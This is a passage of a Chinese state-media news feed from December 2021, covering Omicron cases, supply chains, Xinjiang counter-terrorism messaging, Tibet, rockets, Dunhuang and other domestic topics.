Chinese Central Television that the Omicron variant was detected in a sample of an imported case from Europe. The person had normal temperature when he entered China through Tianjin. In order to prevent the further spread of Omicron in the city, Tianjin authorities are planning a special treatment area for Omicron infections with a special medical team. So far, no other Omicron infections have been detected among other passengers on the same flight, according to the authorities. On the Omicron case in Guangzhou, multiple nucleic acid tests on him were negative until one taken on Sunday during his home quarantine period in Guangzhou showed a positive result at midnight on Monday. "I don't think it might be the problem with the detection reagent, but the level of illness of the patient [in Guangzhou] was not high enough to be detected," Wang Guangfa, a respiratory expert at Peking University First Hospital, told the Global Times on Tuesday. Shanghai, where the Guangzhou patient landed initially, failed to screen it out, which was probably because the patient was at the very early stage of the infection, with a relatively low virus load, he said, noting that scientists and experts around the world are still studying the new variant. The NHC reported 76 new COVID-19 infections on Monday, of which 51 were domestically transmitted cases mainly spreading in East China's Zhejiang Province, and North China's Inner Mongolia Autonomous Region. While the sporadic outbreaks affecting major manufacturing hubs and ports such as Shaoxing and Ningbo, two cities in Zhejiang, Dongguan, which is deemed as the world's factory located in Guangdong, also rolled out nucleic acid tests in two of its counties at midnight on Monday after two patients tested positive for novel coronavirus. A blow to supply chain Businesses in Zhejiang are facing logistical challenges which may impact clothing firms and other sectors of the local economy, after factory activity and transportation channels in parts of the province were suspended amid the recent resurgence of coronavirus cases, the Global Times learned. Starting December 8, all companies, except for those making essential products or personal protective equipment (PPE) in Zhenhai, a district in Ningbo, have been required to suspend production. On the same day, Shangyu district in Shaoxing also required local companies to suspend production, with the exception of firms producing PPE or other essential products. Shangyu is a key hub for textile dye firms, while Zhenhai is a key base for the domestic petrochemical industry. Aside from halting factory production, those cities have also restricted intercity transportation. Zhejiang has closed 10 freeway toll stations on five highways, while Zhenhai and Shangyu have suspended package delivery services. A total of 247 bus lines have also been suspended in Ningbo and Shaoxing. Several local businesses told the Global Times that the suspension, combined with new public health measures limiting the flow of goods and people, has triggered logistical challenges for their companies, with truck drivers unwilling to enter the affected areas for fear they may be caught up in the new measures or forced to observe quarantine. "We can't ship our products from Shaoxing. Drivers from Ningbo are reluctant to come here, and warehouses in Ningbo are reluctant to accept our products," Jin Xiaobo, the CEO of Zhejiang Kaierhai Textile Garments, which is based in Shaoxing, told the Global Times. Shaoxing is about 120 kilometers from Ningbo. This has caused headaches for Jin the veteran trader, as he has no means to ship products to his overseas clients, particularly during what is the peak delivery season for clothing companies. According to Jin, as the shipping space was booked in advance, it's very hard for him to find alternatives to Ningbo port which his company now uses. "As far as I know, some companies have offered to pay the freight drivers 10,000 yuan more as compensation if they are required to undertake 14 days of self-isolation after they travel from Shaoxing to Ningbo," he said. However, the overall impact should be limited to certain industries and localities within the province, with general supply chains remaining stable, businesspeople and officials said. Ji Chengbo, who exports Christmas decorations from Yiwu, Zhejiang Province, told the Global Times that although the frequency of product pickups from Ningbo to Yiwu - about 190 kilometers apart - has been reduced by about one-third, his business was not significantly affected as most of his Christmas orders have already been fulfilled. China has displayed confidence in curbing Omicron as vaccine manufacturers eye breakthroughs. The country's two leading manufacturers, Sinopharm and Sinovac, as well as researchers at the University of Hong Kong, said they are making major progress in studying the Omicron variant just two weeks after the WHO declared the new mutation as "a variant of concern." There are two possibilities for the Omicron variant: One is that, like the Delta variant, the new strain will spread into larger scale, which may lead to a higher death rate and affect more elderly people or patients with underlying conditions, Wang noted. "But if Omicron causes only mild symptoms, it could lead us to a chance to reopen, as a further spread of Omicron could lead to herd immunity," he said, noting that those scenarios should also be based on more data. (Web editor: Zhong Wenxing, Liang Jun) Innovative urban governance vital to China's low-carbon transformation Xinhua) 08:59, December 15, 2021 BEIJING, Dec. 14 (Xinhua) -- Innovations in urban governance are essential for China to achieve its net-zero carbon goals by 2060, according to domestic and international industry insiders. "Decarbonizing cities is critical. With 70 percent of emissions coming from cities, they will determine whether we realize a low-carbon future, and mend our relationship with the planet," said Beate Trankmann, United Nations Development Programme (UNDP) Resident Representative in China. Trankmann made the remarks at a UNDP-led conference held on Monday in both Beijing and Chengdu. The conference was designed as a platform to spark ideas, galvanize action and unleash the potential of cities in forging low-carbon pathways. High-tech zones in urban areas, with diverse industries and strong technological resources, can act as laboratories and hubs for technological and policy innovations to accelerate green development, she said. On Nov. 9, Haiyang City in east China's Shandong Province bid farewell to its coal-burning days with the launch of its nuclear heating project, becoming the first Chinese city to provide winter heating with zero carbon emissions. The project has replaced 12 local coal-powered boilers, cutting 180,000 tonnes of carbon dioxide emissions every winter and drastically lowering the heat emitted into the environment, said Wu Fang, board chairman of Shandong Nuclear Power Co., Ltd., noting that the project can effectively improve the local air quality and marine ecology. Besides spawning new technology, Trankmann said the forward-looking spirit of high-tech zones offers an ideal environment to attract green enterprises. Guangzhou, capital of south China's Guangdong Province, in May announced new subsidies of up to 10 million yuan (about 1.57 million U.S. dollars) for firms that meet energy conservation targets. Cities are home to industrial and transportation systems, advanced architecture, and modern lifestyles, making them critical to propelling low-carbon transformations, said Liu Yanhua, former deputy minister of Science and Technology. China has piloted 81 low-carbon cities and 52 low-carbon industrial parks, and they will lead the country's low-carbon pursuit in the future, while the exploration of the carbon market is an important direction, Liu said. The country's national carbon market has seen a turnover of over 2 billion yuan since it launched online trading on July 16, and it is predicted to become more active after it is opened to financial institutions. "Globally, China is also increasingly recognized for its green finance leadership," said Trankmann, noting that the building of green financial systems is another area where high-tech zones can advance China's low-carbon transition. Shenzhen has unveiled China's first local green finance regulation, requiring financial institutions registered there to disclose environmental impact data, providing institutional support for green finance. Sir Danny Alexander, vice president of Asian Infrastructure Investment, said that laws, regulations and action plans are needed for countries to meet their climate commitments, and China has shown considerable leadership in this regard. Analysts have also called for international cooperation on the establishment of green financial systems, service platforms and new infrastructure and to build low carbon cities. Cities are a battlefront for climate action and green growth, said George Ronald Gary, chief economist at UNDP. He said that it is great to see innovative ideas emerging and partnerships built. (Web editor: Peng Yukai, Liang Jun) Victims, witnesses to terrorist attacks in Xinjiang and their families condemn terrorism at press conference 09:00, December 15, 2021 By Wang Xiaobo ( People's Daily Victims of and witnesses to terrorist attacks in northwest Chinas Xinjiang Uygur autonomous region as well as their families shared their personal experiences by making speeches or via pre-recorded videos at the 64th press conference held by Xinjiang on issues related to the region on Dec.13, strongly condemning violent terrorists and expressing firm support for the fight against terrorism and extremism. Photo shows the 64th press conference held by Xinjiang on issues related to the region on Dec.13 2021. (Photo/Xinjiang Daily) During the press conference held both online and offline in Urumqi, capital of Xinjiang, five videos were played, which recorded how the three evil forces of terrorism, separatism and extremism killed innocent people, attacked government agencies and committed terrorist attacks in China and abroad between 1990 and 2016. The scenes of many crimes of the three evil forces were exposed for the very first time. According to a rough calculation, from 1990 to the end of 2016, the three evil forces orchestrated several thousand violent and terrorist cases and incidents in Xinjiang and other regions, killing a large number of innocent people and several hundred policemen and causing inestimable property loss, said Xu Guixiang, a spokesperson with the Xinjiang regional government. In recent years, by fighting against terrorism and extremism in accordance with the law, Xinjiang has effectively eliminated the breeding ground of terrorism, curbed frequent occurrences of terrorist activities for a certain period and ensured the safety of the lives and property of people of all ethnic groups, winning wide support from the whole society, Xu pointed out. The Xinjiang-related issues have never been about ethnicity, religion and human rights, but about violent terrorism, radicalization and separatism, noted Xu, adding that the attempt of anti-China forces in the U.S. and other Western countries to stigmatize Xinjiangs counter-terrorist efforts, label separatism as democracy, politicize human rights issues and justify their interference in affairs of the region will only end up in vain. During the press conference, five videos were played, which recorded how the three evil forces of terrorism, separatism and extremism killed innocent people, attacked government agencies and committed terrorist attacks in China and abroad between 1990 and 2016. The scenes of many crimes of the three evil forces were exposed for the very first time. The anti-China forces in the U.S. and other Western countries have maliciously misrepresented Xinjiangs just actions to combat terrorism and extremism in accordance with the law for the purpose of protecting the basic human rights of people of all ethnic groups, including the rights to survival and development, as genocide, which is without doubt one of the worst cases of slander in human history, according to Xu. Their wicked, despicable and sordid deed has been strong condemned and opposed by Xinjiangs 25 million residents of all ethnic groups, Xu added. On Sept. 18, 2015, my father was brutally killed by a gang of violent terrorists, said Ajigul Turhun at the press conference, with her eyes filled with tears. Her father, a kind and warmhearted herdsman, died when helping local policemen arrest terrorists in the 918 Baicheng Serious Violent Terrorist Attacks in 2015. Terrorists have no humanity and care little about human life. If they try to stir up trouble again, I will also fight against them bravely, just like my father did, she added. Zhang Jianguo, a victim of the 225 Urumqi Serial Bus Bombings in 1997, was so angry when he recalled the tragedy happened on the bus he was taking. I suddenly heard a bang, and the next thing I knewthe bus window was broken, the windshield was blown off, the backdoor was gone, and a lot of people were lying on the ground, Zhang recalled. I resent terrorists who planted those bombs. They destroyed our happy life and deserve to be punished severely, Zhang said. Alimjan Mattohti, a witness to the 75 Urumqi Egregious Violent Terrorist Attacks in 2009, said that he was heartbroken when he saw thugs chase and beat innocent people and heard the anguished cries of those victims, including an emergency medicine physician who was on his way back to the hospital to save people. I detest religious extremists who distort doctrines and manipulate religion to cause ethnic separation and incite violent and terrorist activities. People of all ethnic groups in Xinjiang will never let violent terrorists have their way in undermining ethnic unity, endangering social stability, and splitting the country, he said. I hate those violent terrorists and sincerely hope that the tragedy Ive experienced will never happen again, said Li Faling, a victim of the 25 Urumqi Violent Terrorist Attacks in 1992. Nearly 30 years have passed since she was injured in a bus explosion in Urumqi, yet there are still four pieces of shrapnel in her legs. To us ordinary people, safety is the greatest happiness. There have been no cases of violence and terrorism in Xinjiang for five consecutive years. We have actually gained an unprecedented sense of security, and we really appreciate and cherish it, she added. Dilshat Asan, a witness to the 629 Hotan Attempted Plane Hijack in 2012, remembers how the crew and passengers risked their lives to fight against the hijackers, thus avoiding worse attacks. After the plane landed safely, the crew members and passengers burst into tears and shouted We did it! recalled Asan, who is still overcome with emotion when talking about the incident. Can you imagine how many families would have lost their loved ones if the hijackers had got their way? Dont they have wives and children of their own? Asan said. Xinjiang hasnt seen violence and terrorism cases for five consecutive years, which has been the greatest desire and expectation of people of all ethnic groups in the region, he pointed out, adding that he hopes that such terrorist attacks will never happen again. Who has actually destabilized Xinjiang? Who has violated Xinjiang peoples human rights? Who has committed genocide and crimes against humanity in Xinjiang? Who should be brought to trial for such crimes? I believe every individual with a sense of justice can give correct answers to these questions, Xu said. (Web editor: Hongyu, Liang Jun) Sherpa villagers enjoy better life in Xigaze, Tibet Xinhua) 09:00, December 15, 2021 Aerial photo taken on Nov. 27, 2021 shows the view of Zhentang Town in Xigaze, southwest China's Tibet Autonomous Region. Situated deep in the Himalayas, a small town called Zhentang in Tibet's Dinggye County is one of the settlements for the Sherpa. The border town has an average elevation of 2,000 meters. In recent years, great changes have taken place in Zhentang. A series of infrastructure projects have been put into use. Besides, Zhentang is also focusing on the development of cross-border trade, aquaculture, tourism and processing industry with local features to increase the income of villagers. In 2020, the per capita disposable income of local residents in Zhentang reached 10,679 yuan (about 1,679 U.S. dollars). (Xinhua/Purbu Zhaxi) Sherpa women talk with each other at a square in their village in Zhentang Town of Xigaze, southwest China's Tibet Autonomous Region on Nov. 24, 2021. Situated deep in the Himalayas, a small town called Zhentang in Tibet's Dinggye County is one of the settlements for the Sherpa. The border town has an average elevation of 2,000 meters. In recent years, great changes have taken place in Zhentang. A series of infrastructure projects have been put into use. Besides, Zhentang is also focusing on the development of cross-border trade, aquaculture, tourism and processing industry with local features to increase the income of villagers. In 2020, the per capita disposable income of local residents in Zhentang reached 10,679 yuan (about 1,679 U.S. dollars). (Xinhua/Purbu Zhaxi) A Sherpa woman works in the field in Zhentang Town of Xigaze, southwest China's Tibet Autonomous Region, Nov. 26, 2021. Situated deep in the Himalayas, a small town called Zhentang in Tibet's Dinggye County is one of the settlements for the Sherpa. The border town has an average elevation of 2,000 meters. In recent years, great changes have taken place in Zhentang. A series of infrastructure projects have been put into use. Besides, Zhentang is also focusing on the development of cross-border trade, aquaculture, tourism and processing industry with local features to increase the income of villagers. In 2020, the per capita disposable income of local residents in Zhentang reached 10,679 yuan (about 1,679 U.S. dollars). (Xinhua/Sun Ruibo) Sherpa parents pick up their children after school in Zhentang Town of Xigaze, southwest China's Tibet Autonomous Region, Nov. 24, 2021. Situated deep in the Himalayas, a small town called Zhentang in Tibet's Dinggye County is one of the settlements for the Sherpa. The border town has an average elevation of 2,000 meters. In recent years, great changes have taken place in Zhentang. A series of infrastructure projects have been put into use. Besides, Zhentang is also focusing on the development of cross-border trade, aquaculture, tourism and processing industry with local features to increase the income of villagers. In 2020, the per capita disposable income of local residents in Zhentang reached 10,679 yuan (about 1,679 U.S. dollars). (Xinhua/Purbu Zhaxi) Combo photo taken on Nov. 24, 2021 shows Sherpa villagers in Zhentang Town of Xigaze, southwest China's Tibet Autonomous Region. Situated deep in the Himalayas, a small town called Zhentang in Tibet's Dinggye County is one of the settlements for the Sherpa. The border town has an average elevation of 2,000 meters. In recent years, great changes have taken place in Zhentang. A series of infrastructure projects have been put into use. Besides, Zhentang is also focusing on the development of cross-border trade, aquaculture, tourism and processing industry with local features to increase the income of villagers. In 2020, the per capita disposable income of local residents in Zhentang reached 10,679 yuan (about 1,679 U.S. dollars). (Xinhua/Purbu Zhaxi) Aerial photo taken on Nov. 27, 2021 shows the view of Zhentang Town in Xigaze, southwest China's Tibet Autonomous Region. Situated deep in the Himalayas, a small town called Zhentang in Tibet's Dinggye County is one of the settlements for the Sherpa. The border town has an average elevation of 2,000 meters. In recent years, great changes have taken place in Zhentang. A series of infrastructure projects have been put into use. Besides, Zhentang is also focusing on the development of cross-border trade, aquaculture, tourism and processing industry with local features to increase the income of villagers. In 2020, the per capita disposable income of local residents in Zhentang reached 10,679 yuan (about 1,679 U.S. dollars). (Xinhua/Sun Ruibo) Sherpa women carry supplies uphill in Zhentang Town of Xigaze, southwest China's Tibet Autonomous Region, Nov. 24, 2021. Situated deep in the Himalayas, a small town called Zhentang in Tibet's Dinggye County is one of the settlements for the Sherpa. The border town has an average elevation of 2,000 meters. In recent years, great changes have taken place in Zhentang. A series of infrastructure projects have been put into use. Besides, Zhentang is also focusing on the development of cross-border trade, aquaculture, tourism and processing industry with local features to increase the income of villagers. In 2020, the per capita disposable income of local residents in Zhentang reached 10,679 yuan (about 1,679 U.S. dollars). (Xinhua/Sun Ruibo) Third-year primary school student Wangmo reads a textbook in class in Zhentang Town of Xigaze, southwest China's Tibet Autonomous Region, Nov. 24, 2021. Situated deep in the Himalayas, a small town called Zhentang in Tibet's Dinggye County is one of the settlements for the Sherpa. The border town has an average elevation of 2,000 meters. In recent years, great changes have taken place in Zhentang. A series of infrastructure projects have been put into use. Besides, Zhentang is also focusing on the development of cross-border trade, aquaculture, tourism and processing industry with local features to increase the income of villagers. In 2020, the per capita disposable income of local residents in Zhentang reached 10,679 yuan (about 1,679 U.S. dollars). (Xinhua/Purbu Zhaxi) Combo photo taken on Nov. 25, 2021 shows Lhapa Tagye feeds chickens in his chicken farm (top) and Lhapa Tagye sits in his car bought after he opened the farm, in Zhentang Town of Xigaze, southwest China's Tibet Autonomous Region. Situated deep in the Himalayas, a small town called Zhentang in Tibet's Dinggye County is one of the settlements for the Sherpa. The border town has an average elevation of 2,000 meters. In recent years, great changes have taken place in Zhentang. A series of infrastructure projects have been put into use. Besides, Zhentang is also focusing on the development of cross-border trade, aquaculture, tourism and processing industry with local features to increase the income of villagers. In 2020, the per capita disposable income of local residents in Zhentang reached 10,679 yuan (about 1,679 U.S. dollars). (Xinhua/Sun Ruibo) Combo photo taken on Nov. 25, 2021 shows three Tibetan Opera actors posing for pictures in Zhentang Town of Xigaze, southwest China's Tibet Autonomous Region. Situated deep in the Himalayas, a small town called Zhentang in Tibet's Dinggye County is one of the settlements for the Sherpa. The border town has an average elevation of 2,000 meters. In recent years, great changes have taken place in Zhentang. A series of infrastructure projects have been put into use. Besides, Zhentang is also focusing on the development of cross-border trade, aquaculture, tourism and processing industry with local features to increase the income of villagers. In 2020, the per capita disposable income of local residents in Zhentang reached 10,679 yuan (about 1,679 U.S. dollars). (Xinhua/Sun Ruibo) Nyima (R), a Sherpa villager in Zhentang of Xigaze, and his family hold a Chinese national flag in front of their house on Nov. 25, 2021. Situated deep in the Himalayas, a small town called Zhentang in Tibet's Dinggye County is one of the settlements for the Sherpa. The border town has an average elevation of 2,000 meters. In recent years, great changes have taken place in Zhentang. A series of infrastructure projects have been put into use. Besides, Zhentang is also focusing on the development of cross-border trade, aquaculture, tourism and processing industry with local features to increase the income of villagers. In 2020, the per capita disposable income of local residents in Zhentang reached 10,679 yuan (about 1,679 U.S. dollars). (Xinhua/Purbu Zhaxi) Namkha, an inheritor of intangible cultural heritage of Sherpa singing and dancing, sings in the field in Zhentang Town of Xigaze, southwest China's Tibet Autonomous Region, Nov. 27, 2021. Situated deep in the Himalayas, a small town called Zhentang in Tibet's Dinggye County is one of the settlements for the Sherpa. The border town has an average elevation of 2,000 meters. In recent years, great changes have taken place in Zhentang. A series of infrastructure projects have been put into use. Besides, Zhentang is also focusing on the development of cross-border trade, aquaculture, tourism and processing industry with local features to increase the income of villagers. In 2020, the per capita disposable income of local residents in Zhentang reached 10,679 yuan (about 1,679 U.S. dollars). (Xinhua/Sun Ruibo) Aerial photo taken on Nov. 27, 2021 shows the view of Zhentang Town in Xigaze, southwest China's Tibet Autonomous Region. Situated deep in the Himalayas, a small town called Zhentang in Tibet's Dinggye County is one of the settlements for the Sherpa. The border town has an average elevation of 2,000 meters. In recent years, great changes have taken place in Zhentang. A series of infrastructure projects have been put into use. Besides, Zhentang is also focusing on the development of cross-border trade, aquaculture, tourism and processing industry with local features to increase the income of villagers. In 2020, the per capita disposable income of local residents in Zhentang reached 10,679 yuan (about 1,679 U.S. dollars). (Xinhua/Purbu Zhaxi) (Web editor: Zhong Wenxing, Liang Jun) China's Long March carrier rocket family completes 400 missions 09:11, December 15, 2021 By Yu Jianbin ( People's Daily The China-developed Long March carrier rocket series completed its 400th launch as a Long March-4B rocket successfully sent a new group of satellites into space on the morning of Dec. 10. It marked another milestone in the history of China's aerospace development. The Long March series boasts world-class launch success rate and orbital insertion. According to Long Lehao, academician of the Chinese Academy of Engineering and senior advisor for the development of the Long March carrier rocket series from China Academy of Launch Vehicle Technology, the Long March carrier rocket series carried out 92.1 percent of China's space launch missions between 1970 and 2021, sending more than 700 spacecraft into space, with a launch success rate of 96.25 percent. In the 400 launch missions by Long March rockets, the first three 100 launches were completed in 37 years, 7 and a half years, and around 4 years, respectively. The last 100 launches took only 33 months. It not only proves that the frequent launches have become regular for the Long March carrier rocket series, but also mirrors the rapid development of China's aerospace, as well as the country's progress in science and technology and comprehensive national strength. China's first space station Tiangong's core module, Chang'e-5 lunar probe, Tianwen-1 Mars probe, Shenzhou manned spacecraft, Tianzhou cargo craft, BeiDou-3 navigation satellites, and multiple others, were all sent into space by the Long March rockets amid the latest 100 launch missions. They have been playing a big part in scientific exploration and people's livelihood. After China started constructing its space station, the Long March rockets have sent the Tianhe core module, two batches of taikonauts, and two cargo spaceships into space. Wang Xiaojun, head of China Academy of Launch Vehicle Technology, introduced that the new-generation manned carrier rockets and heavy-lift carrier rockets are under development as planned, which will vigorously promote China's key space projects, including the fourth phase of the lunar exploration project, the exploration of asteroids and Jupiter, manned lunar exploration, and the first Mars sampling mission, among others. The significantly improved frequency of launches highlights China's enhanced space launch capacity and the self-reliant spirit of the country's aerospace workers, said Wu Yansheng, board chairman of the China Aerospace Science and Technology Corporation, adding that the core technologies of the Long March carrier rocket series have always been securely kept in the hands of the Chinese. With the progress of the new generation of carrier rockets, China will gain larger capabilities in entering, utilizing and exploring the space. The country's aerospace technology will make life better and provide strong guarantee for building China's space industry. (Web editor: Hongyu, Liang Jun) Giant pandas, red pandas move into new houses at Chengdu's panda breeding facility People's Daily Online) 09:24, December 15, 2021 Photo shows a giant panda in a new panda house it was just moved into, which is located in the recently extended area of the Chengdu Research Base of Giant Panda Breeding. (Photo courtesy of the Chengdu Research Base of Giant Panda Breeding) Around 40 giant pandas and 10 red pandas have moved into new houses built in a newly extended area of the Chengdu Research Base of Giant Panda Breeding, a non-profit research and breeding facility for giant pandas and other rare animals located in southwest China's Sichuan Province. The move started this November with due consideration for animal welfare. So far, most of the giant pandas that have already moved into their new homes have adapted to the new environment. The extended part of the base is scheduled to open to the public for test operations in early 2022. Covering 169 hectares, the extension will bring the total area of the base to 238 hectares in all. (Web editor: Hongyu, Liang Jun) Beijing bans fireworks throughout city Xinhua) 10:14, December 15, 2021 BEIJING, Dec. 14 (Xinhua) -- Beijing's municipal authorities will ban the use of fireworks throughout the city from January next year. With the ban, fireworks will not be available to purchase at retail outlets in the city during the Spring Festival holiday of 2022, the office of the Beijing municipal fireworks safety management coordination group announced on Tuesday. The ban, however, will not cover the Universal Beijing Resort, which will be permitted to stage fireworks displays approved by police authorities, the office said. Any official fireworks displays during celebrations and holidays will be approved and announced by the Beijing municipal government. In December 2017, Beijing authorities passed a revised regulation banning fireworks in the city proper in light of the air pollution and casualties caused by the products. District authorities outside the Fifth Ring Road can set fixed areas where fireworks are banned or restricted. So far, all districts except Fangshan and Mentougou have banned fireworks. The two suburban districts will join the complete ban starting Jan. 1, 2022. (Web editor: Peng Yukai, Liang Jun) BRI to bring prosperity for world by generating global integration: Pakistani FM Xinhua) 10:20, December 15, 2021 ISLAMABAD, Dec. 14 (Xinhua) -- The China-proposed Belt and Road Initiative (BRI) will bring prosperity for people across the world through generating global integration, Pakistani Foreign Minister Shah Mahmood Qureshi said on Tuesday. Addressing the Margalla Dialogue 2021 organized by the Islamabad Policy Research Institute, an Islamabad-based think tank, Qureshi said the BRI, with the China-Pakistan Economic Corridor as a flagship project, utilizes the economic geography and enhances the connectivity of Asia, Europe and Africa. Highlighting Pakistan's strategic pivot from geopolitics to geo-economics, the foreign minister said a country like Pakistan situated on the crossroad of South, Central and West Asia will remain accessible to all and reach out to all. He said diplomacy needs a multi-faceted outlook to go beyond the traditional way in the 21st century and a post-COVID-19 world. Talking about the situation in Afghanistan, Qureshi said there is a dire humanitarian crisis looming which has consequences not only for the people of Afghanistan but also the region and beyond. (Web editor: Peng yukai, Liang Jun) Chinese mainland reports 50 locally transmitted COVID-19 cases Xinhua) 11:25, December 15, 2021 Staff members check vehicle information at the expressway exit in Shangyu District of Shaoxing, east China's Zhejiang Province, Dec. 14, 2021. (Xinhua/Weng Xinyang) BEIJING, Dec. 15 (Xinhua) -- The Chinese mainland on Tuesday reported 50 new locally transmitted COVID-19 cases, the National Health Commission said in its daily report on Wednesday. Of the new local cases, 45 were reported in Zhejiang, three in Inner Mongolia, and two in Guangdong, the commission said. Also reported were 17 new imported cases in eight provincial-level regions, according to the commission. No new suspected cases or new deaths related to COVID-19 were reported on Tuesday, it added. The total number of confirmed COVID-19 cases on the mainland had reached 99,923 by Tuesday, including 1,460 patients still receiving treatment, of whom 17 were in severe condition. A total of 93,827 patients had been discharged from hospitals on the mainland, and 4,636 had died as a result of the virus. A total of 24 asymptomatic cases were newly reported Tuesday, of whom 22 were from outside the mainland. (Web editor: Peng Yukai, Liang Jun) Splendid Dunhuang: Millennial cultural embassy 11:31, December 15, 2021 By Liu Ning, Wu Chaolan, Zhao Chen, Lv Qiang, Annemarie Li, Gao Ge, Peng Yukai ( People's Daily Online "I am very anxious to see you, but I have no luck" - a Sogdian woman named Miwnay who followed her husband to do business in Dunhuang, northwest China's Gansu Province, lamented in a letter to her far-away mother, in which she indulged in bouts of nostalgia and pined for home. Sadly, her mother never had a chance to read of her grief, as the letter was engulfed by a sandstorm and buried under layers of thick sand. Thousands of years later, the letter was found by archaeologist Aurel Stein, shining a light on the bustling trade and cultural exchanges between East and West along the ancient Silk Road. Photo taken on Oct. 16, 2021, shows the desert scenery of Mingsha Mountain and the Crescent Spring scenic area in Dunhuang, northwest Chinas Gansu Province. (People's Daily Online/Lv Qiang) Lying at the edge of the Taklamakan Desert, Dunhuang is located at a cultural and religious crossroads on the ancient Silk Road. Over 700 years ago, when Italian adventurer Marco Polo first arrived at Dunhuang, which was crowded with people of different nationalities, he was left spellbound by the thriving fusion of international trade and culture. As the first trading cities encountered by foreign merchants, Dunhuang turned into a fantastic marketplace and led to a cultural big bang that created an unprecedented connection between East and West. The ancient Silk Road has been swallowed up by time, but Duhuang remains a vibrant hub of exchanges as the Belt and Road Initiative has reinvigorated the city, injecting a new energy into this ancient oasis. "Dunhuang is a city with a long history, forming a distinctive Dunhuang culture, with openness and inclusiveness as core values. This is the reason why Dunhuang is still shining its ancient light on the modern era," said Shi Mingxiu, the curator of Dunhuang Museum. Photo taken on Oct.15, 2021 shows a cultural relic conservation expert from the Dunhuang Academy restoring a mural at Mogao Grottoes in Dunhuang, northwest Chinas Gansu Province. (People's Daily Online/Lv Qiang) Global, multicultural past Some twenty-five kilometers southeast of Dunhuang, hundreds of caves are hewn into a cliff lavishly decorated with wall paintings and sculptural works. Buddhist gods in their sequestered shrines have witnessed the flourishing international exchanges between the diverse peoples who traversed the great trade routes of antiquity, stretching from China to the Mediterranean Sea. "The history of this ancient Silk Road city is reflected in the Mogao Grottoes, the depositary of a multicultural past that adds fluidity and color to Chinese civilization," said Shi. The Mogao Grottoes, also known as the Qianfodong (Caves of the Thousand Buddhas), boast a rich trove of Buddhist artworks, including more than 2,000 sculptures and 45,000 square meters of murals that span a thousand years and contain a wide range of iconography such as Chinese deities and Hindu gods. These Buddhist artworks show a striking cultural diversity in the caves. The murals in the 492 Caves at Mogao depict how Buddhism spread into and became indigenized in China. One example is the Bodhisattva known as Avalokitesvara, which was transformed into the figure of Guanyin in China. The Nine-Colored Deer Jataka in Cave 257 is a Chinese interpretation of the Ruru Jataka, which originated in India, and tells of the Bodhisattva's birth as a deer. The characters in the murals with their different clothing styles also reflect the busy cultural exchanges that took place in Dunhuang. (Photo/Xinhua) "The strong inclusiveness of Chinese culture allowed people in Dunhuang to enjoy, respect, and absorb the porous cultures from Central and Western Asia, as well as Europe, which resulted in the brilliant cultural fusion in Dunhuang," said Shi. "This mirrors a confident China that embraced foreign influences with a sense of tolerance and openness." People from inside and outside China can find traces of their aboriginal culture in this grand cultural cache. The world-famous Cave 17, also known as the Library Cave, is home to more than 50,000 cultural relics including scrolls and manuscripts that shed light on the global civilization of the time. Sealed away for more than a millennium before their rediscovery in 1900, these precious manuscripts contain books of Psalms in Syriac, the only surviving copies of essential Mantras, rare manuscripts with Hebrew prayer, and a book of omens written in Old Turkic, providing valuable materials for other cultures to study their past. "Dunhuang is not only a splendid treasure of ancient Chinese civilization but also an important witness to the frequent cultural integration and mutual learning among the diverse civilizations on the ancient Silk Road," said Shi. "The multiculturalism is testament to Dunhuang's past, which benefited both China and the rest of the world." (Photo/Xinhua) Ancient culture that thrives today The best way to protect a culture is to make it popular again. Scholars from Dunhuang Academy have looked into ways of protecting and promoting Dunhuang arts for decades, looking to bring the glorious culture of Dunhuang alive in the modern age. To this end, Dunhuang Academy (the Academy) launched the Digital Dunhuang Project, where visitors from around the world can enjoy frescoes and painted sculptures in 30 caves for free. In 2020, the Academy and tech giant Tencent jointly launched a WeChat mini-program offering online tours of China's Dunhuang Mogao Grottoes. Tourists can enjoy frescoes and Chinese Buddhist art in the caves by just clicking on their phones and learning about the stories behind the relics. In October, the Academy teamed up with Chinese telecom giant Huawei to launch the "Flying Apsaras" thematic tour, which offers visitors an immersive fantasy experience. The AI technology shows off the cultural relics to visitors before they even enter the physical caves. With this technology, the visitors can enjoy the artwork in greater detail and obtain more information about it. In addition, the Academy has also blazed new trails in innovative cultural products such as music, games and cartoons to further unleash the vitality of the cultural relics that date back thousands of years. "The culture of Dunhuang needs modern content to thrive. Digital and innovative cultural products can help the public better appreciate the artistic charm and cultural value of Dunhuang, which will bring the public closer to Dunhuang culture and pass on these splendid ancient cultural artifacts to future generations," said Yu Tianxiu, director of the academy's cultural relics digitalization institute. A visitor visits an exhibition of the duplications of Dunhuang overseas fine cultural relics in Dunhuang city, Northwest China's Gansu province, Sept 24, 2021. (Photo/Xinhua) The Belt and Road Initiative has also brought new energy to Dunhuang culture. The initiative, which not only features the connectivity between markets but also exchanges of academia and culture, has further promoted the Dunhuang culture to the world. The Dunhuang Academy is now working with Western colleges and museums on preservation techniques and is sharing its experience in historical restoration and digitalization with others along the Silk Road. "We have conducted academic exchanges and held exhibitions in different countries, introducing the culture of Dunhuang to more people in other corners of the world and driving the connection of people from the Belt and Road countries," said Guo Qinglin, deputy director of Dunhuang Academy. In September, more than 200 representatives of countries and regions and international organizations, including officials, diplomats, and experts attended the 5th China Silk Road (Dunhuang) International Cultural Expo and the 10th Dunhuang Tour-Silk Road International Tourism Festival, with the aim of enhancing understanding of Dunhuang culture and promoting cultural exchange and cooperation. The hubbub of voices along the ancient trade route may have been silenced over the course of history, but Dunhuang city will always embrace the spirit of the Silk Road, which served as a conduit for the exchange of cultures, trade materials, and knowledge between the East and the West for millennia. "Dunhuang might have lost its status as the center of world trade, but the city will always be a blazing beacon for multiculturalism," said Shi. A performer dances at an exhibition of the duplications of Dunhuang overseas fine cultural relics in Dunhuang city, Northwest China's Gansu province, Sept 24, 2021. (Photo/Xinhua) (Web editor: Zhang Wenjie, Bianji) Young woman promotes tourism in Xinjiang through short videos featuring martial arts People's Daily Online) 16:05, December 15, 2021 Qi Yaru, a young woman from northwest Chinas Xinjiang Uygur Autonomous Region, has shot a series of short videos featuring herself performing martial arts with local scenic spots in the background. The videos have helped to present the beautiful scenery of Xinjiang to more people and have attracted tens of thousands of followers for Qi. Qi Yaru performs martial arts at the launching ceremony for an ice and snow tourism festival held at a ski resort in the Hui Autonomous Prefecture of Changji, northwest Chinas Xinjiang Uygur Autonomous Region. (Chinanews.com/Sun Tingwen) At the launching ceremony for an ice and snow tourism festival held recently at a local ski resort in the Hui Autonomous Prefecture of Changji, Xinjiang, the 24-year-old put on a show dressed up as a chivalrous woman while demonstrating a series martial arts moves. Having released her first video on the short-video sharing platform Douyin this March, the young woman said that her original intention for shooting the videos was to promote 